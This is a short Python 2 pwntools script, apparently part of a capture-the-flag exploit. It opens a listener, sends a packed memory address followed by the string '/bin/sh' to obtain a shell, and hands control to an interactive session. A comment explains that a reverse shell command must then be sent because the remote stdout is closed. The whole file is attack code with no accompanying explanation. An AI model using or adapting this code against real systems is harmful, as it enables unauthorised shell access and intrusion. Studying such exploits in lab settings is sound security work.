#!/usr/bin/env python2

from pwn import *
import sys

recv = lambda x: io.recv(x)
recvn = lambda x: io.recvn(x)
recvl = lambda : io.recvline()
recvu = lambda x: io.recvuntil(x)
recvud = lambda x: io.recvuntil(x, drop=True)
send = lambda x: io.send(x)
sendl = lambda x: io.sendline(x)

if __name__ == "__main__":
    io = listen(0x1234)
    send(p64(0x601210)+p64(0)+"/bin/sh\x00")
    io.interactive() # Because the remote stdout is closed, you need to send another reverse shell command once connecting to the remote.
    sys.exit(0)